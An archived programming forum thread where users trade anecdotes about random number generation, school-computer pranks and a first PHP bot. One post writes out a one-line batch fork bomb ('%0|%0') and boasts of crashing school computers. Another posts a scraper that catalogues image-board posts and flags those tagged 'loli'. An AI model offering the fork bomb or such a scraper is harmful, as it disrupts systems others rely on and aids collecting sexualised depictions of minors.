Welcome to Tech Support Forum home to more then 136,000 problems solved. Issues have included: Spyware, Malware, Virus Issues, Windows, Microsoft, Linux, Networking, Security, Hardware, and Gaming Getting your problem solved is as easy as:
1. Registering for a free account
2. Asking your question
3. Receiving an answer

Registered members:
* Get free support
* Communicate privately with other members (PM).
* Removal of this message
* See fewer ads.
* And much more..

 



Want to know how to post a question? click here Having problems with spyware and pop-ups? First Steps
Go Back   Tech Support Forum > The IT Pro > Programming
User Name
Password
Site Map Register Donate Rules Blogs Mark Forums Read


Programming A discussion forum for programs and programming used in tech-related businesses.

Reply
 
LinkBack Thread Tools
Old 07-19-2007, 10:48 PM   #21 (permalink)
Registered User
 
Join Date: Jul 2007
Location: Born UK, Worked in Libya, Kenya, Uganda, Settled in Australia. Now resident outside Melbourne, Victoria
Posts: 19
OS: Windows XP SP2


Re: Code...

Just a comment on random number generation. I was engaged by an entrepreneur to create an engine that would spit out random numbers for use in on-line gaming. Mathematical routines of themselves are unsatisfactory, because a hacker could read the sequence, work back to find the seed and then work forward again to forecast the upcoming numbers. The big thing, arising mainly from cryptographic research, is to use entropic generators (ERNGs) which rely on natural sources to provide genuinely random values. Sources which have been used include the output from geiger counters, electron fluctuations in various constructs such as transistors and so forth. My intention was to have a box with a number of loudspeakers tuned in to different radio stations, with a single microphone to pick up the mingled sounds and output a waveform that I could sample. I did a proof of concept program using .WAV files before my client ran out of money and disappeared into smoke. My program was written in C#. Incidentally, in the gaming industry, it is not enough just to write the generator. One must also write a series of monitoring and validation programs to satisfy the licensing authorities.

Last edited by Jim_from_Oz; 07-19-2007 at 10:50 PM.
Jim_from_Oz is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Important Information
Join the #1 Tech Support Forum Today - It's Totally Free!

TechSupportForum.com is a leading support website for your computer needs. We offer free, friendly and personalized computer support. Why pay to have your computer fixed when you can do it for free.

Join TechSupportforum.com Today - Click Here

Old 08-12-2007, 03:52 PM   #22 (permalink)
Registered User
 
mebegaming's Avatar
 
Join Date: Aug 2007
Location: USA
Posts: 46
OS: windows xp home


Re: Code...

i dont know much about code (i signed up for the computer programming class this year in my school) but i do know a little about "batch" promts. this is a prank that i made for when i go back to school

what this does is it runs the shutdown command waiting 60 seconds, and it trys to connect to google (its just one that i found that worked) 30 times which takes roughly 1 second each, at this point it stops the shutdown and brings up youtube.com (this distracts them on what i will do next) i make about 40 icons on the desktop just saying random stuff. and then it waits about 40 seconds and then it makes about 40 message windows pop up saying more random stuff. and finaly after 35 more seconds it pops up the last window saying that i will probably do it agian and at the same time it plays a sound of homer saying "hmm all this computer hacking is making me thirsty"

this does not put any damage on the computer, because the computers have deep freeze at my school. they can just restart the computer and everything will go back to normal

i wont be putting the code here because 1-i dont realy think you would like looking at it 2-you would need the sound file of homer 3-it dosent work the same on all computers

i am just proud that one of the first peices of code i wrote was so cool
__________________
"Would you rather be outside bouncing around a ball? Or would you rather be inside on your computer, doing something that matters?" -Eric Cartman - Southpark, world of warcraft episode
mebegaming is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 08-17-2007, 07:05 PM   #23 (permalink)
Registered User
 
Join Date: Nov 2006
Location: Sydney, Australia
Posts: 207
OS: WinXP-Home


Send a message via MSN to MattBro
Re: Code...

Quote:
Just a comment on random number generation. I was engaged by an entrepreneur to create an engine that would spit out random numbers for use in on-line gaming. Mathematical routines of themselves are unsatisfactory, because a hacker could read the sequence, work back to find the seed and then work forward again to forecast the upcoming numbers. The big thing, arising mainly from cryptographic research, is to use entropic generators (ERNGs) which rely on natural sources to provide genuinely random values. Sources which have been used include the output from geiger counters, electron fluctuations in various constructs such as transistors and so forth. My intention was to have a box with a number of loudspeakers tuned in to different radio stations, with a single microphone to pick up the mingled sounds and output a waveform that I could sample. I did a proof of concept program using .WAV files before my client ran out of money and disappeared into smoke. My program was written in C#. Incidentally, in the gaming industry, it is not enough just to write the generator. One must also write a series of monitoring and validation programs to satisfy the licensing authorities.
RNG has always been a problem. I've heard of the idea of using radio frequencies before, it's certainly feasable.

Oddly enough, I'm writing an online game server at the moment. But due to it's performance requirements I'm generating random numbers based on tick count / random memory word.
MattBro is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-06-2009, 10:54 PM   #24 (permalink)
Registered User
 
Join Date: May 2009
Posts: 5
OS: Windows Vista SP1 / XP SP3 / CamComV3 (homebrew linux)


Re: Code...

meh. i fork bombed my school computers when i was 8

Code:
%0|%0
karikamiya is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-15-2009, 01:19 AM   #25 (permalink)
December 8th, 1980 :[
 
TJ Belfiore's Avatar
 
Join Date: Mar 2009
Location: 530
Posts: 3,513
OS: 7 x64, XP x32


Re: Code...

I crashed all my schools computers - had to have them all repaired. I thought it was funny, I'm horrible (apparently).
__________________
TJ Belfiore is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-16-2009, 11:04 PM   #26 (permalink)
Registered User
 
Join Date: May 2009
Posts: 5
OS: Windows Vista SP1 / XP SP3 / CamComV3 (homebrew linux)


Re: Code...

nice job.
karikamiya is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-16-2009, 11:22 PM   #27 (permalink)
December 8th, 1980 :[
 
TJ Belfiore's Avatar
 
Join Date: Mar 2009
Location: 530
Posts: 3,513
OS: 7 x64, XP x32


Re: Code...

I was kidding - that would be horrible. LOL
__________________
TJ Belfiore is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-16-2009, 11:43 PM   #28 (permalink)
Registered User
 
Join Date: May 2009
Posts: 5
OS: Windows Vista SP1 / XP SP3 / CamComV3 (homebrew linux)


Re: Code...

:/
:/
:/
in other news, i wrote my first bot today, in php. it works soooo well, about 12000 database records per second!
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<?php
set_time_limit(0);
require("post.php");
$lol="";
$db_data = 0;
$tmp_data = 0;
$result_array = 0;

$cxn = mysqli_connect("PROTECTED", "PROTECTED", "PROTECTED", "PROTECTED") or die("ERR, DB-1, " .mysqli_error($cxn));
$control = $_GET['id'];

while(1) **
	$fp = fsockopen("PROTECTED", 80, $errno, $errstr, 1);
	if (!$fp) **
	    echo "reconnect<hr/>";
	} else **
		$lol="";
		$db_data = $control;
	    $out = "GET /index.php?page=post&s=view&id=" .$db_data. " HTTP/1.1\r\n";
	    $out .= "Host: PROTECTED\r\n";
	    $out .= "Connection: Close\r\n\r\n";
		$out .= "Host: gelbooru.com\r\n";
		$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\r\n";
		$out .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
		$out .= "Accept-Language: en-us,en;q=0.5\r\n";
		$out .= "Accept-Encoding: gzip,deflate\r\n";
		$out .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
		$out .= "Keep-Alive: 300\r\n";
		$out .= "Connection: keep-alive\r\n";
		$out .= "Referer: http://gelbooru.com/index.php?page=post&s=list&tags=loli\r\n";
		$out .= "Cache-Control: max-age=0\r\n\r\n";
	
	    fwrite($fp, $out);
	    while (!feof($fp)) **
	        $lol .= fgets($fp, 128);
		}
		fclose($fp);
		$f1 = ereg_replace("<", "&lt;", $lol);
		$f2 = ereg_replace(">", "&gt;", $f1);
		$err = preg_match("@http://img\\d\\.PROTECTED\\.com/images/(\\d\\d\\d|\\d\\d\\d|\\d\\d|\\d)/[A-Za-z0-9]{40}\\.(jpg|gif|png|swf)\\?(\\d\\d\\d\\d\\d\\d|\\d\\d\\d\\d\\d|\\d\\d\\d\\d|\\d\\d\\d|\\d\\d|\\d)@", $f2, 	$result_array);
		$tags = tags($lol);
		$tags = mysqli_real_escape_string($cxn, $tags);
		if (stristr($tags, "loli"))**
			$loli = 1;
		} else **
			$loli = 0;
		}
		$sql = "INSERT INTO `PROTECTED` VALUES ('" .$db_data. "', '" .$result_array[0]. "', '" .$tags. "', '" .$loli. "');";
		mysqli_query($cxn, $sql) or die("ERR, DB-4, " .mysqli_error($cxn));
		unset($db_data, $result_array, $tags, $loli, $lol, $out, $f1, $f2, $err);
		$control++;
		if($control > 495656) ** die("DONE"); }
	}
	unset($fp);
}
?>
</body>
</html>
edit: ???! it changes my (open curly brace) into **

Last edited by karikamiya; 05-16-2009 at 11:50 PM.
karikamiya is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-17-2009, 05:39 PM   #29 (permalink)
Design Team Member
 
jamiemac2005's Avatar
 
Join Date: Jul 2007
Location: Coventry, UK
Posts: 1,879
OS: Vista, various linux distros


Re: Code...

Quote:
Originally Posted by mebegaming View Post
i dont know much about code (i signed up for the computer programming class this year in my school) but i do know a little about "batch" promts. this is a prank that i made for when i go back to school

what this does is it runs the shutdown command waiting 60 seconds, and it trys to connect to google (its just one that i found that worked) 30 times which takes roughly 1 second each, at this point it stops the shutdown and brings up youtube.com (this distracts them on what i will do next) i make about 40 icons on the desktop just saying random stuff. and then it waits about 40 seconds and then it makes about 40 message windows pop up saying more random stuff. and finaly after 35 more seconds it pops up the last window saying that i will probably do it agian and at the same time it plays a sound of homer saying "hmm all this computer hacking is making me thirsty"

this does not put any damage on the computer, because the computers have deep freeze at my school. they can just restart the computer and everything will go back to normal

i wont be putting the code here because 1-i dont realy think you would like looking at it 2-you would need the sound file of homer 3-it dosent work the same on all computers

i am just proud that one of the first peices of code i wrote was so cool
Sounds too much as if you're bragging. Ctrl+C in the scope of whatevers running that batch file would kill your routine, whacking open a command prompt and typing "shutdown /a" would abort the current shutdown command. Oh and Batch scripts are useless as pranks because you can only use them on PCs(windows based of course) that you have access to. Basically depending on the level of paranoia of your school you may not be able to: 1; run the batch file 2; use the batch file on any other user 3; copy the batch file to the school's computers. So the script you speak of is about as useful as setting a paper bag full of dogmess alight on your own porch.

Learn to code(1, 2, 3, 4). Then brag about what productive things you've created, and how many people you've helped, then i'll view your posts as worth reading. Good luck with the programming class anyway, i dare you to use that post as your opening to whomever is due to teach you.

Sorry to the rest in this thread for the negativity.
__________________

Myspace
jamiemac2005 is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Old 05-18-2009, 02:04 PM   #30 (permalink)
December 8th, 1980 :[
 
TJ Belfiore's Avatar
 
Join Date: Mar 2009
Location: 530
Posts: 3,513
OS: 7 x64, XP x32


Re: Code...

Quote:
Originally Posted by mebegaming View Post
i dont know much about code (i signed up for the computer programming class this year in my school) but i do know a little about "batch" promts. this is a prank that i made for when i go back to school

what this does is it runs the shutdown command waiting 60 seconds, and it trys to connect to google (its just one that i found that worked) 30 times which takes roughly 1 second each, at this point it stops the shutdown and brings up youtube.com (this distracts them on what i will do next) i make about 40 icons on the desktop just saying random stuff. and then it waits about 40 seconds and then it makes about 40 message windows pop up saying more random stuff. and finaly after 35 more seconds it pops up the last window saying that i will probably do it agian and at the same time it plays a sound of homer saying "hmm all this computer hacking is making me thirsty"

this does not put any damage on the computer, because the computers have deep freeze at my school. they can just restart the computer and everything will go back to normal

i wont be putting the code here because 1-i dont realy think you would like looking at it 2-you would need the sound file of homer 3-it dosent work the same on all computers

i am just proud that one of the first peices of code i wrote was so cool
Come on man, second grade was fun..but.. it got old.
__________________
TJ Belfiore is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Reddit!
Reply With Quote
Reply


Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




All times are GMT -7. The time now is 04:45 AM.



Copyright 2001 - 2009, Tech Support Forum
Home Tips Plus | Outdoor Basecamp | Automotive Support Forum

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85